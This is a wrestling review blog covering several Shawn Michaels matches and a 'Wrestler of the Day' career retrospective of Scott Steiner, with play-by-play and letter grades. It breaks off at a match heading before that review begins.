European Title: Shawn Michaels vs. British Bulldog

Now if you want to talk about a mixed reaction, Shawn gets a mixed reaction. I mean it’s right down the middle. Davey of course gets the big old hero pop that you knew he would get. While it may seem obvious as to who is going to win here, this wasn’t as in the bag as it appeared to be. Smith losing here would have caused about as big of a riot as Bret losing in Montreal.

Smith is about as over here as Vince would be in a “Who’s got the biggest ego contest”. Shawn walks up the ramp for no apparent reason before coming back to the ring. Smith starts off by completely overpowering Shawn who again walks up the ramp. In a cool looking spot, with Shawn on the apron and looking away from the ring, Smith hooks him for a reverse suplex and just drops him back into the ring. It looks a lot better than it sounds.

Vince says he’s surprised Shawn didn’t break in half. Say that again in about four months Vinny. How many freaking big time matches have these guys had? They have the final SNME match, they have KOTR 97 and now this. That’s a lot for a series of big matches when you think about it, especially over that long of a stretch of time. Bulldog is ridiculously popular and is dominating.

Apparently he’s dropped about 20 pounds or so, which is about 2 stones. Vince says Shawn is in his prime. I don’t know about that, but it’s close enough. As Bulldog beats on him for a good while, here’s Rick Rude, who was the insurance policy for Shawn in what would form into DX. They had been hanging out lately but nothing concrete had happened yet.

We hit the sleeper now to kill off a bit of time which is fine by me. Lawler says not to adjust the TV. Who does that? I mean really, have you ever adjusted your TV? I certainly haven’t. The pace slows a lot with Shawn working on the arm, which means you know what’s coming. Yep, there it is, as Smith shows incredible power and picks up Shawn while he’s in an arm lock.

Here’s HHH and Chyna as I wonder WHERE ARE THE FREAKING HARTS??? Shawn starts his finishing sequence and goes for Chin Music in the corner of all places but Smith counters into the powerslam. Rude grabs the foot and we hit the floor where the kick connects. Rude and HHH beat on him as somehow the referee sees none of this which is just completely ridiculous but whatever.

HHH even hits the Pedigree on the floor. Apparently Davey is wearing a knee brace for a bad knee which hasn’t been mentioned until just now. Well alright then. HHH and Chyna help Shawn and pull him about 6 inches. Seriously, how can the referee not freaking notice this??? Now Rude interferes again as this is beyond stupid now. Oh apparently Bulldog slipped off the platform that the ring is on and hurt his knee.

Well that’s something I guess. The referee stops the match to give Shawn the title and the Grand Slam. There are rumors that Smith was supposed to win but Shawn and HHH played politics to get the win as close to two days before this show. Somehow, I could completely buy that. There was zero need for Shawn to win here, especially in a show never mentioned on American television.

I really don’t…oh you have got to be screwing with me. Shawn puts the hold back on and Smith’s wife gets in to help but is picked off by Chyna and BRET AND OWEN HART RUN IN FOR THE SAVE. WHERE IN THE HOLY WORLD WERE THEY FIFTEEN FREAKING MINUTES AGO??? COME ON VINCE WILL YOU FREAKING THINK ONCE IN YOUR LIFE??? THAT MAKES NO SENSE!

If they’re going to run in for the save NOW why not do it when there were three people cheating to help Shawn? DX poses forever to end this. Yeah, after that stupidity, I’d totally buy the HHH and Shawn politics thing.

Rating: B-. The ending here is just so stupid that it makes my head spin, which makes me really think Shawn and HHH had something to do with it. Honestly, what did Shawn gain here? Does anyone remember anything about his European title reign that had to do with him defending the belt? I certainly don’t.

Actually, I remember him losing it on the Christmas show to HHH after Slaughter made them fight because he hadn’t defended it in over two months. What in the world was the point of him getting it here other than to help his own ego? That makes zero sense. Other than that bringing this match WAY down and the Harts looking like idiots, this was a kind of slow match and overly long with the interference sucking the life out of it at the end. It’s not bad, but not great at all.

Now on to the final two, starting with what might be the best match of all time. From Wrestlemania XXV.

Undertaker vs. Shawn Michaels

Shawn comes down from the top of the set all in white, Undertaker comes through the stage in blackk, symbolizing heaven vs. hell. Now THAT is an entrance. Feeling out process to start with Shawn circling around Taker and sticking with a few jabs here and there. Michaels pounds away in the corner and hits a hard chop but taker catches an incoming right hand. Taker LAUNCHES him into the corner and nearly out to the floor, only for Shawn to jump off the top and over Undertaker to get away.

Shawn might have hurt his knee but he’s channeling his inner Bret by goldbricking. Taker will have none of that and throws Shawn into the corner for more punishment. Michaels comes back with chops in the corner but gets backdropped down to stop the momentum. Taker drives some shoulder into Shawn but Shawn takes him down with a clothesline. The reverse Figure Four (called a regular one by that idiot Michael Cole) has Taker in trouble but he finally slugs his way out of it.

Taker pounds way in the corner but has to stop to shake life back into his leg. Snake eyes and the big boot put Shawn down and a legdrop gets two (brother). A chokeslam is countered into the Crossface by Shawn but Taker rolls over onto his side to block a lot of the pressure. After an attempted rollup by Undertaker, Shawn cranks on the hold a bit more, only to have Taker fight up and hit a big side slam for two. Back up and they slug it out with Shawn taking over via a flying forearm.

There’s the nipup but Shawn doesn’t tune up the band. Instead it’s a pair of atomic drops and a clothesline but as Shawn goes up, he jumps into the chokeslam. He escapes THAT and tries the superkick but is too far away, meaning the kick only hits Taker’s chest. It puts Taker down so Shawn tries the Figure Four but Taker counters into Hell’s Gate. Shawn flails around and gets a foot on the rope for a fast break but he’s clearly staggered.

We head to the floor for a bit but Taker misses the apron legdrop. A baseball slide keeps Taker on the floor but as Shawn tries the moonsault to the floor, Taker moves and Shawn CRASHES onto the concrete. Back inside and Taker sits up and busts out the Taker Dive, only to overrotate and CRASH in a terrifying landing. Shawn thankfully pulled a cameraman in the way to block some of the impact but this scared me to death live.

Shawn tells the referee to count in a kind of mid-match heel turn but Taker makes it back in at nine. Another superkick attempt is ducked and a HUGE chokeslam gets an insanely close two. The fans are getting way into these near falls now. The Tombstone is countered, the superkick is blocked, the chokeslam is escaped and NOW the superkick hits for a very delayed two count. Shawn is up now and looks all ticked off.

Taker grabs him by the throat but the Last Ride is countered into a sunset flip bid, but THAT is countered into the biggest Last Ride ever for two. Watching this match for probably the fourth time I actually thought that was the finish. Think about that for a minute. Taker goes up top and misses a top rope elbow but as Shawn tries to skin the cat, Undertaker catches him in the Tombstone. He sticks the tongue out but THAT gets two, I believe making Shawn either the first or second guy ever to kick out of all three of Taker’s finishers.

Taker nearly collapses from the shock and has a look on his face saying he has no idea where to go now. Shawn spins out of a Tombstone bid into a DDT and both guys are down. Michaels slowly crawls to the top and drops the elbow for no cover. Instead he tunes up the band again and the fans are all over him as a result. The kick hits clean and Shawn covers almost immediately but it only gets two. These kickouts are getting better and better each time.

They fight up from their knees and use each other to pull themselves up before slugging it out with everything they’ve got. A big boot puts Shawn down but Taker charges into a boot in the corner to put him down. Shawn climbs up top and tries a moonsault press, but Taker somehow catches him in mid air for another Tombstone to make him 16-0, and that’s your match of the year.

Rating: A+. Masterpiece, excellent, classic, best match they’ve ever had, best match of all time candidate etc. Pick one, as they’re all appropriate. This is one of the only matches ever where I’ve been on the edge of my seat the entire time and lost my mind on the kickouts. Absolutely outstanding here and one of the best matches I’ve ever seen, and that covers quite a bit of ground.

And now, perhaps my favorite match ever, from May 2, 2005 on Raw.

Gold Rush Tournament First Round: Shelton Benjamin vs. Shawn Michaels

This is the match that I was talking about. Shawn is back in the world title hunt after going after Muhammad Hassan for a few months. Shelton is on fire at this point so this is going to be great. They immediately hit the mat and Shelton dominates as you would expect him to. Shawn grabs a hammerlock and they hit the mat again. Shelton rides him again and Shawn has to head to the ropes to get a break.

Shelton takes him back to the mat but Shawn easily gets back up. A cradle gets two for Shawn out of nowhere and it’s followed by a forearm to take over. Shelton comes back with a clothesline and both guys go to the floor. We take a break and come back with Shelton countering a belly to back superplex into a cross body off the top but he can’t cover. Batista is watching in the back.

Shelton hits a Samoan Drop and both guys are down again. Things speed up and Shelton gets two off a backbreaker. Shawn hits the forearm and nips up, but Shelton nips up a second later, freaking Shawn out. We get a fast paced pinfall reversal sequence and Shawn takes Shelton down with a hard chop. Benjamin comes back with the Stinger Splash in the corner but the T-Bone is broken up.

Sweet Chin Music is caught and the Dragon Whip gets two. That sounded GREAT and JR’s commentary is only making this better. Shelton loads up a superplex but Shawn knocks him down and hits the elbow for two. Another Chin Music attempt is countered by a high kick for a VERY close two. Shelton jumps from the mat to the top rope and hits a spinning clothesline for another two. This is getting better and better with each kickout. Shelton gets sent to the apron and tries a springboard, but he jumps right into the Sweet Chin Music in an incredible spot. Shelton is DEAD and Shawn advances. That never gets old.

Rating: A+. It’s my favorite match ever. What grade did you expect me to give it? Also, this probably furthers Shawn’s record of most A+ matches for a single guy held by Shawn. The last few minutes of this has some of the best near falls on TV that I’ve ever seen. This is easily one of the best TV matches of all time. The only issue I have with it: what was Shelton going for at the end other than diving into the kick? I’ve never gotten that. The idea here was simple: Shawn was fighting himself from ten years ago. That’s very interesting and it worked like a masterpiece here.

He’s Shawn Michaels. I’m done.

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Wrestler of the Day – July 21: Scott Steiner

Today is someone who could have been huge had it not been for some injuries and insanity: Scott Steiner.

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We’ll open things up with a rare match from before Scott came to WCW. This is from the WWA promotion out of Indianapolis and Scott is the WWA World Champion, putting this at some point between August of 1986 and March of 1987.

Scott Rextiener/Rex Bodie vs. Sheik Saad/Chris Carter

Steiner is the only one I know. Scott armdrags Carter down to start and it’s quickly off to Bodie for some arm work of his own. The evil foreigner Saad comes in and drops an ax handle to Bodie before putting on a nerve hold. The heel manager Dark Angel comes out for a distraction as Carter takes over on the nerve hold. Back to Saad for the third nerve hold in a row, only to have Rex tag in Steiner to clean house.

Everything breaks down and Scott powerslams Saad for no cover. The heels cheat again and Saad puts on yet another nerve hold. Scott pretty casually gets up and tags in Bodie, who is quickly sent to the floor. Steiner comes in sans tag and gets sent into the Dark Angel, drawing commentator Jerry Graham up to beat up the Angel. Graham lays out Saad and Steiner gets the pin.

Rating: D. This was pretty horrible as there was no flow or chemistry to be seen and the heels didn’t know anything but shoulders to the ribs and nerve holds. Steiner didn’t get to show off much here and I’m not really surprised that I haven’t seen much from this promotion, which actually dates back to the 60s.

It was soon off to the NWA where Scott joined his brother Rick to form the Steiner Brothers. This is one of their first major matches, from Clash of the Champions VII.

Mike Rotunda/Kevin Sullivan vs. Steiner Brothers

The Varsity Club name has been dropped by this point and the team would be split very soon. Rotunda is already being called Captain Mike which would be his next gimmick. This is also the first major appearance for the Steiners as a team, with Scott joining his older brother Rick. The Steiners are part of Eddie Gilbert’s stable, meaning they have Missy Hyatt in their corner.

Scott and Kevin get things going with the powerful Scott sending Sullivan into the corner and taking him down with a clothesline. Rick and Mike come in and Rotunda tastes some hard right hands. Things settle down and Scott scores with a powerslam, sending Sullivan to the corner for a tag to Rotunda. Rick comes in as well to the delight of the crowd and takes Mike’s head off with a clothesline. Back to the headlock but Mike grabs a few rollups for two each.

A suplex finally breaks the hold and it’s back to Sullivan who gets clotheslined as well. Rick drops to all fours and barks a lot before it’s back to Scott vs. Rotunda. Scott gets two off a cross body but the heels get a quick double team to drop Scott ribs first on the top rope. He falls out to the floor and cuts open his back, so Sullivan rams it into the post. Back in and Scott runs into a boot in the corner followed by a nice dropkick from Rotunda.

Sullivan comes in again as the back injury is being ignored for some reason. A butterfly suplex gets two for Mike so he takes Scott down with another hard clothesline. Scott powers out of a front facelock and makes the tag but the referee doesn’t see it due to a distraction by Sullivan. Mike misses another dropkick and now the hot tag to Rick counts, sending the crowd into a frenzy. Rick hammers away on Rotunda and everything breaks down. Sullivan brings in a chair but gets knocked to the floor by Rick, only to have Mike suplex Scott onto the chair for the pin.

Rating: B-. That’s a strange booking decision given that the Varsity Club was on its last legs and the Steiners would be pushed to the moon in just a few months. The most interesting and important story here though was Scott Steiner. For a guy who hadn’t been in the ring at this level for very long, he looked like a future star.

Here’s another big match for the team, from Halloween Havoc 1990.

US Tag Titles: Steiner Brothers vs. Nasty Boys

This is a BIG feud and the Steiners are defending. The Nasties had beaten down the Steiners and left them bloodied after the match was made, which was unheard of at this point. It’s a brawl to start and Scott gets hit with a chair. He and Sags go into the ring with Scott escaping the superplex. He runs up the corner and hits a belly to belly superplex to take Jerry down. The crowd is going NUTS for this whole thing.

Knobbs interferes and it’s Jerry in control as he starts with Scott. Scott comes back with a Tiger Driver and Rick comes in to clean the ring. The Steiner Bulldog KILLS Sags but Knobbs breaks it up with a chair shot as the referee is getting Rick out. Knobbs, the illegal man, gets two off that. A side slam puts Scott down and the Steiners are in trouble. Powerslam gets two.

They go to the floor and Sags drops a knee on Scott, who is in big trouble. Sags comes in legally and hits a pumphandle slam for no cover. Side salto gets two with Rick making the save. The Nasties switch without a tag again so it’s back to Knobbs for more beating. Abdominal stretch goes on and the cheating draws in Rick again so the Nasties can switch again. Sags puts on a bearhug to stay on the bad back.

Scott comes out of it with the natural counter: a belly to belly suplex. The tag brings in Rick who cleans house with the Steiner Line. Rick gets knocked over the top to the floor and the Nasties hit a spike piledriver on Scott. Rick is like screw that and pops Sags with the chair. The referee is really lax about these tags. Jerry is busted open but he brings in Brian to prevent the tag to Rick.

Knobbs puts the bearhug on again and rams Scott’s back into the buckle a few times. Sags puts on a Boston Crab but Scott does a pushup to break it up, but Knobbs breaks up the tag again. A reverse chinlock goes on but Scott breaks out of that too. The Nasties try to cheat again but Scott avoids a charge and hits the Steiner Line on Jerry. Hot tag to Rick and everything breaks down.

The Steiners start pounding on the Nasties but they both get thrown to the floor. Rick comes back in with a double top rope clothesline to send the Nasties to the floor, but it lets them beat up Scott while they’re out there. Scott pulls Sags to the floor again and Rick KILLS Knobbs with a Steiner Line. There’s the Frankensteiner and I don’t care who you are, in 1990 that means it’s over.

Rating: B. What a great brawl this was. If you cut about three minutes out of this it’s a classic. This is the match that made the Nasty Boys, but since this is WCW, the idea of signing them up was unheard of so they were in the Royal Rumble less than three months after this and winning the tag titles from the Hart Foundation in about six months. The match was good, but the Steiners were so far and away better than any other team in the world at this point that it didn’t matter who they were facing.

Scott would get his occasional singles match, such as a World Title shot at Clash XIV.

WCW World Title: Scott Steiner vs. Ric Flair

Scott is challenging of course. Hiro Matsuda is a guest at ringside and representing New Japan Pro Wrestling. The winner of this goes to Tokyo to face Tatsumi Fujinami. El Gigante is here for no apparent reason as well but Flair (having hacked off his hair to the look that he would mostly have for the rest of his career) won’t shake his hands. Scott easily wins a pose down before powering Flair into the corner and taking him down with a fireman’s carry.

A top wristlock puts Flair down and he tries to bail, only to run into Rick Steiner. Back in and a tilt-a-whirl slam gets two for the challenger and Flair is terrified of the strength. Ric takes him into the corner but gets caught in some armdrags and an armbar. Flair tries to take him to the mat with some amateur stuff but is easily flipped over by Steiner. The champion hides on the floor yet again but heads back in for a Steiner Line from Scott, sending Flair outside again.

Scott suplexes him back in and offers Flair a disturbing smile. Ric comes back with an atomic drop but has to punch his way out of a sunset flip. A rollup with feet on the ropes gets two for Flair and we take a break. Back with Scott putting Ric in the Figure Four but the champ quickly makes the ropes. Flair tries a cross body against the ropes but Scott doesn’t quite make it over so he stops, gets his balance, and then jumps over the ropes to crash to the floor.

Ric immediately goes after the leg and Scott is in trouble. A cannonball down onto Scott’s leg and it’s already time for the Figure Four. Rick Steiner knocks Flair’s hands off the ropes but the referee breaks the hold anyway. That’s fine with Flair as he suplexes Scott down and slaps the hold on again in the middle of the ring. Steiner turns it over but Ric quickly makes the ropes for the break. A neckbreaker puts Flair down and Scott whips him over the corner and out to the floor.

We’re suddenly under six minutes to go in the time limit and you can see the ending coming from here. A Steiner Line on the floor puts Ric down again and the other Steiner throws him back inside. Five minutes left now as Flair sends him into the corner but gets caught in a small package for a close two. Four minutes to go as Scott puts on a standing chinlock which is called a sleeper.

That goes nowhere so Scott Steiner Lines him out to the floor with three minutes left. Back in again and Flair snapmares him down and drops a knee for two. They hit the mat and Scott bridges up into a backslide but stops halfway and tiger bombs Flair down. Ric rolls outside again and Scott doesn’t follow up in a rookie mistake. There’s a minute left and Flair is back inside for a belly to belly but the bell rings at two and a half.

Rating: B. Good but not excellent match here as the time limit came up out of nowhere and really hurt the match at the end. The finish was clear with just six minutes to go and it’s very rare that they switch it up for a pin to end the match when time is expiring. This was supposed to set up Scott’s singles push but he didn’t want to break up the Steiners and declined the title change.

We’ll head forward to Wrestlewar 1992 for some more Steiner Brothers awesomeness.

Steiner Brothers vs. Tatsumi Fujiname/Takayuki Iizuka

The winners are #1 contenders to the IWGP Tag Titles, held by a team called Big Bad and Dangerous, more commonly known as IC’s wet dream: Vader and Bam Bam Bigelow. Why the WCW Tag Champions would want to get the New Japan Tag Titles is beyond me but soon enough the NWA would screw up everything by taking everyone in WCW that meant anything and some NJPW guys and putting them in a tag title tournament which just HAD to be held at Great American Bash.

Back in the day, WCW was all that the NWA had. They just didn’t want to admit that without WCW, the NWA was dead. The WCW tag titles meant more than the NWA Titles and everyone knew it except the NWA. So of course they hijacked the PPV for their own stuff and it bombed but whatever. That’s another review for another day.

For those of you that have never heard of him, Fujinami is absolutely awesome in every sense of the word. Iizuka didn’t mean anything at this point but he would becomes a fairly big deal in tag wrestling in Japan over the 90s. Nothing huge though. Jesse goes into a small rant about Japan taking all the jobs and you can hear the politics in his voice already. Scott breaks out the Blockbuster which is even rarer than the Screwdriver. It’s a fallaway slam with a floatover. It’s very hard to hit and he mostly botches the first. Second is great though.

Iizuka is a high flier that would be decent today but back then was insane. This is the Scott Steiner that was completely awesome and everyone knew it. He’s a one man wrecking crew here and takes down Iizuka with a combination powerbomb and elbow drop with help from Rick. Ok so maybe he’s a one and a second man wrecking crew. Rick does one of my favorite spots ever as the Japanese guys have him up for a Doomsday Device but Rick pulls Fujinami out of the air while he’s going for the clothesline and lands in a belly to belly suplex. It just looks amazing every time he did it which was rare.

They I guess heels work on Rick’s leg which doesn’t work that well at all. Basically this is the Steiners getting to show off and then let the other guys beat on them for a bit. Fujinami goes WAY old school by hooking an abdominal stretch and rolling back into a pin with it for two. The xenophobic crowd chants USA. Iizuka kicks the heck out of Scott who just tackles him and beats the tar out of him for his trouble.

Ok, I had to stop the tape for a second there because that might have been the coolest spot I’ve ever seen. The Japanese guys both have top wristlocks on Scott and he lifts himself up and does a standing backflip to slingshot them into the corner and then misses a double clothesline to send them into the corner where Rick comes off with a double clothesline from the top rope. Keep in mind that Scott weighs about 270 and he did that with ease. This is getting a higher grade for that spot alone.

Dragon Sleeper (Fujinami invented it) is kind of on but Scott gets the rope. Rick gets the hot tag and everything goes crazy for a bit. Crowd is way into this. Rick gets him up on top and hits one heck of a belly to belly for the pin. Iizuka was in free fall for a little bit and it looked awesome.

Rating: A-. Better than the previous match but not by much. This had some of the coolest spots I can ever remember as Scott was just absolutely amazing at this time and he was showing off here. That backflip spot was incredible to say the least. The Steiners were gone in November when they went to the WWF, but if this is their last great match it was a freaking awesome one to say the least. Great match but never really any doubt as to the winners, which hurts it a bit.

Now here’s one that you might not know exists. From Worldwide on October 17, 1992.

TV Title: Ricky Steamboat vs. Scott Steiner

Steamboat is defending and is quickly slammed down a few times to start. The champion comes right back with some dropkicks and we get a standoff. Steiner takes him down to the mat and Steamboat is in over his head. Back up and Ricky accidentally sends Scott out to the floor but doesn’t follow up, angering Jesse Ventura on commentary. They lock up again as this is still off to a slow but not boring start.

Now they get in each others’ faces with Steamboat claiming a hair pull. Ricky takes him to the mat for an armbar and Scott is a bit freaked out that the champion took him down that easily. Steiner fights up with a backdrop and puts on a weak looking half crab. That goes nowhere so it’s off to a bearhug instead with Steamboat in trouble. He fights out, only to miss a cross body and crash out to the floor. Back in and a quick small package gives Scott the title. That was a VERY sudden ending.

Rating: D+. The match was starting to heat up but I’m thinking they screwed up the time, leading to fast the finish. Literally, Steamboat came back in and got rolled up for the pin and the title. This is backed up as the show went off the air seconds after the match ended. That being said, the match wasn’t all that great anyway with neither guy being very emotional as they’re both faces, which makes for some lame matches at times.

Steiner didn’t hold the title long as he and his brother jumped to the WWF over a contract dispute. The Steiners would become big deals in a hurry with Scott getting a featured match on Raw, November 8, 1993.

Scott Steiner vs. Ludvig Borga

Borga jumps Scott during his entrance and Steiner is in early trouble. Steiner gets slammed down but comes back with a butterfly powerbomb to take over. A pumphandle slam sends Ludvig out to the floor and stalls for awhile as Randy Savage rants about Crush on commentary. Back in and an overhead belly to belly suplex gets two for Scott. Borga heads outside again as the Quebecers, Borga’s partner in the Survivor Series, come out to watch.

We take a break and come back with Steiner suplexing Borga over the ropes for no cover. Instead it’s off to a Boston crab as Rick Steiner comes out to bark at the Quebecers. Borga finally makes the ropes and gets put in a bad looking armbar. A few dropkicks get two for Scott but the Quebecers offer a distraction, drawing in Rick to suplex Borga. Everything breaks down and the match is thrown out.

Rating: D+. Not much to see here as Borga was much more about the character than the wrestling. Steiner really didn’t work that well as a singles guy because he felt like half of a team instead of a wrestler on his own. This was just setup for Survivor Series anyway and there’s nothing wrong with that.

We’ll skip over the brief Steiners run in ECW and hit Kollision in Korea on August 5, 1996.

Steiner Brothers vs. Kensuke Sasaki/Hiroshi Hase

The Steiners of course you know and Sasaki would actually win the US Title later in the year. Here the Steiners are actually NJPW guys. That’s a weird thing to see. These teams had a GREAT match at the first New Japan/WCW Supershow. We’ll get to that one soon. So far this is intense if nothing else. No one can accuse any of these guys of not working out there. Well they could but they would be incorrect.

Scott busts out an STF. And yes he knows more than 5 moves. I could watch this Scott Steiner throw suplexes all day. Oddly enough the Steiners are dominating here and are beating the tar out of Hase. Onoo of course says this isn’t important. Hase comes back and hooks a Giant Swing on Rick.

Apparently he’s famous for spinning people around a lot and his record is 44 spins. Ok then. Sasaki might have been in this for 30 seconds. He and Rick fight on the floor and in the ring, Scott hits the Steiner Screwdriver for the pin. For those of you that haven’t seen the Screwdriver, picture a vertical suplex but Scott turns the guy around in mid air so their chests are touching and drops him down into a sitout piledriver. You only see it a handful of times in history because it’s so insane.

Rating: B-. We got to see the Steiners look awesome, but this was almost a glorified squash. The Steiners as heels makes for a very odd showing but it pretty much works. The key thing to it is that they’re really good wrestlers and can bust out a lot of stuff when they want to. This is one of those moments. The lack of competition hurt it for me though.

Here’s Scott on Nitro from June 10, 1996.

Scott Steiner vs. Booker T

This would be huge about four years later. Basic anything you can do I can do greater match to start as I think this is face vs. heel but I’m not sure. Both escape belly to back suplexes but Scott gets a double underhook suplex for no cover. Booker manages to get a boot up in the corner kind of like a superkick to put Scott down. Scissors kick gets two.

Off to a front facelock and Booker controls. Spinning cross body off the top gets two. Larry Z giving wrestling advice to Booker is really weird for some reason. Scott gets something like a DDT to break the momentum though and here comes Steiner. We speed things up and Scott gets a belly to belly to put Booker down. Frankensteiner is avoided which gets two for Booker. A top rope splash misses and Scott hits another belly to belly to end it.

Rating: B-. Not bad at all here with two guys that were still (kind of) young and motivated and could give you a good match at this point. Also nice to see some young guys out there having some time to show off. Booker wouldn’t mean much of anything for like two years though and Steiner would be about 18 months away, so call this a very early preview.

And again at the 1997 Great American Bash.

Harlem Heat vs. Steiner Brothers

The winners are #1 contenders which makes me laugh. Stevie and Scott get us going and it’s power vs. power. They collide off the ropes and no one moves, so Scott hits him in the face with a forearm. When all else fails, HIT HIM IN THE HEAD. Stevie kicks him in the face to take over. Another boot misses so Scott throws him over in a suplex. The Steiners clear the ring for a bit and Stevie wants Rick.

Ray pounds him down and it’s off to Booker, but he wants Scott. Rick won’t leave so Booker doesn’t get what he wants. Ok now he does and Scott shoves him into the corner. Booker breaks up a test of strength and tries a headlock. That gets him nowhere so he tries a full nelson. Scott easily breaks it but takes a knee to the ribs to slow him right back down. Butterfuly powerbomb gets one for Steiner.

Off to Rick again who wants to brawl. The brawling doesn’t work so he goes to the Steiner bread and butter of a suplex. Scott comes in for a gorilla press but he jumps into a boot. Spinarooni sets up the Harlem Side Kick and Booker clotheslines Scott and himself to the floor. Scott sends him into the barricade to take over and they head back inside. Rick comes in again and goes outside also, but this time Stevie powerslams him on the floor to give Harlem Heat the advantage.

Rick is in trouble now as Harlem Heat lulls Scott in. They hit a modified Hart Attack (Harlem Side Kick instead of a clothesline) called the Big Apple for a delayed two. Rick catches a kick into a powerbomb/suplex kind of move to put both guys down. Hot tag brings in Scott and the ring is cleared quickly. A top rope Frankensteiner puts Stevie down…and here’s Vincent to hit Stevie so that the Steiners lose and the Outsiders don’t have to face them.

Rating: D+. This was pretty much a long TV match with a bad finish. It makes sense on paper, but there wouldn’t be a tag title match, at least not on PPV that I can remember. It was around this time that the titles became a prop as without anyone defending them, the Outsiders being called the best team made no sense. You had a bunch of teams that wanted them which helped, but with the titles never being defended they stopped meaning anything.

Back to Nitro on July 28, 1997.

Randy Savage vs. Scott Steiner

Savage slaps him in the face to start before shoving referee Randy Anderson into Scott to take him down. Steiner comes back with a gorilla press slam to send Savage to the floor. Savage throws a chair into the ring and we take a break. Back with Steiner hitting a belly to belly suplex, sending Savage to the floor. Just like old times, Randy hides behind Liz and sends Scott knees first into the steps.

They fight into the crowd with Scott in trouble. Back to ringside and Steiner is rammed into the barricade to keep Randy in control. We head back inside and Scott catches Savage off the top in another belly to belly. Rick and Liz get in an argument, allowing Steiner to backdrop Savage over the top and out to the floor, which should be a DQ. Now Steiner throws Savage into the crowd, possibly injuring Randy’s shoulder.

Back to ringside and they brawl a bit more with Scott maintaining control. Steiner gets two on a small package followed by a butterfly powerbomb for no cover. A Super Frankensteiner puts Savage down but Liz throws in her shoe. Cue the Outsiders for the SHOCKING, yes SHOCKING I SAY, run-in DQ.

Rating: C. This wasn’t bad but it was mainly brawling. Scott didn’t know how to wrestle a main event style match at this point but his singles push was coming. Granted it was years before it actually worked but they were trying at least. The ending was obvious because the announcers were so sure that the Outsiders weren’t there that they had to be there. As usual, not much to see here.

And another on April 6, 1998. By this point Scott had turned heel and joined the NWO.

Scott Steiner vs. Sick Boy

They had said Steiner was facing Giant later tonight. Vincent brings in a trophy for some reason. Steiner takes Sick Boy down with ease and chokes on the ropes a bit. Sick Boy is caught in the Tree of Woe for more choking followed by the elbow drop into the pushups. The Recliner ends this squash.

We finally got the showdown between the brothers at Fall Brawl 1998.

Rick Steiner vs. Scott Steiner

Scott stalls on the floor for a few minutes before coming back inside for a slugout with Rick getting the better of it. A right hand from Scott has no effect and he bails to the floor. Rick chases him into the crowd and drags him back into the ring but Scott hits him low to escape a belly to belly suplex.

After more stalling Rick blocks a butterfly suplex and hits a DDT before going up for the bulldog. Buff Bagwell interferes but gets rammed into the buckle, knocking him out cold and dropping him to the mat. Rick’s bad shoulder is sent into the post but he comes right back with right hands. The referee is with Bagwell and the match is stopped due to his injury, further ticking off the crowd.

Rating: D-. This was getting better but of course we have a false finish because waiting seven months for a full match just isn’t long enough. I can’t blame the crowd for getting even angrier after sitting through this as they were getting their first interesting match of the night but it didn’t even break six minutes.

Bagwell is awake and talking to Scott as the crowd shouts what they think of this nonsense. Trainers come out to check on Bagwell as the announcers talk about how serious this is. A stretcher is brought out as the show grinds to another halt. We go all the way to the back to see Bagwell loaded into a stretcher with Rick saying someone needs to call Buff’s mom. The ambulance doors are closed, Rick is distraught, and of course Scott and Buff come back out and beat him down. Nearly ten minutes were spent on this after the match ended.

Steiner would start his singles push in early 1999, including this match for the TV Title at SuperBrawl.

TV Title: Scott Steiner vs. Diamond Dallas Page

Scott is defending and has been after Page’s wife Kimberly, including throwing her out of a car. Assuming this stipulation isn’t dropped, it’s title vs. 30 days with Kimberly here. Scott, sans Buff here, brings a girl in from the audience and gently kisses her after talking trash about Page. It’s a serious Page this time and the champion stalls on the floor to start. Page will have none of that and sends him into the barricade before they head inside.

Punches and choking have Steiner in early trouble but the referee drags Page off of him, allowing Scott to get in a rake to the eyes. They head outside again and both guys are sent into the barricade. Back in and Page scores with a top rope clothesline and a neckbreaker sends Scott back to the floor. Buff Bagwell runs out to give Steiner a pep talk but Page tells them both to come on. Both guys get atomic drops but the numbers game catches up to him as Steiner nails a clothesline.

Steiner chokes on the ropes and Buff gets in a few chokes of his own. Page gets tied in the Tree of Woe for even more choking. The fans are far quieter than they were about an hour ago. Interesting how having heels win matches they didn’t need to win over underdogs will do that to you. More punching in the corner has Page in trouble but he comes back with right hands of his own. A belly to belly gets two for Steiner but Page pulls the champions trunks halfway down on a rollup for two.

Steiner nails a backbreaker as Buff has put a chair in the corner. A big chair shot to the back (even Tony says the referee should have heard that) puts Page down and Bagwell uses some wire cutters to unhook the turnbuckle pads. Page hits a very low headbutt to escape the Recliner but the referee ejects Buff. A discus lariat puts Steiner on the floor and Page follows him out with a plancha.

That’s fine with Scott as he whips Page into the steps but takes too long going after the steps, allowing Page to nail Steiner with a clothesline. Back in and Page gets crotched on the top, setting up a top rope Frankensteiner for two. The Diamond Dream (jumping spinning DDT) drops Steiner but Page can’t follow up. Instead Steiner sends Page into the exposed buckle and GOOD GRIEF WHY DO WE HAVE REFEREES IF THEY JUST WATCH PEOPLE CHEAT??? Robinson ejected Bagwell for taking off the pad, saw Steiner move the middle pad, and then saw Page go into the buckle and is totally fine with it. Of course he is.

Steiner rams Page back first into the exposed buckle three times because there’s nothing wrong with that apparently. Page passes out in the Recliner. There’s no mention made of the 30 days with Kimberly, meaning that Thunder is even more useless now because the stipulations made on that show are completely forgotten three days later.

Rating: D. This would be the third straight match where the fan favorite and logical winner has been completely destroyed and at least the second match where the referee doesn’t seem to mind cheating at all. The fans are getting quieter and quieter every single match and I can’t blame them one bit.

Here’s a defense against Buff Bagwell, after the two split in the spring. From Slamboree 1999.

US Title: Buff Bagwell vs. Scott Steiner

Since Bagwell never won a singles title, I think you know who is champion coming in. Buff jumps him before the bell and Steiner still has the belt on. Swinging neckbreaker gets two. Scott hits him low and there’s the Push-Up elbow. Buff gets thrown to the floor and Steiner yells at some fans. Things slow WAY down with Steiner on offense. It was a running theme with the Steiners at this point.

Scott chokes away and yells at another fan. Much like in the Rick match, you may be noticing a pattern emerging here. They go to the mat and Steiner elbows him a lot. He runs to the floor and brings in a chair. If that shot had hit Steiner would have been facing 10-15 years. Bagwell fights back but there goes the referee. Buff gets the chair and here’s Rick to turn heel on Buff and whack him with the chair. The Recliner keeps the title on Scott.

Rating: D-. I can’t take many more of these bad matches. I mean the people in them are just SO lazy with them laying around and doing nothing of note. Scott and Rick are back together as the Steiners and both have singles titles. You know, because that’s what the people wanted to see and would light the world on fire. Benoit and Jericho and Malenko? Who are they?

Steiner would have to take the rest of the year off due to a back injury but he would be back in the title scene at Spring Stampede 2000.

US Title: Sting vs. Scott Steiner

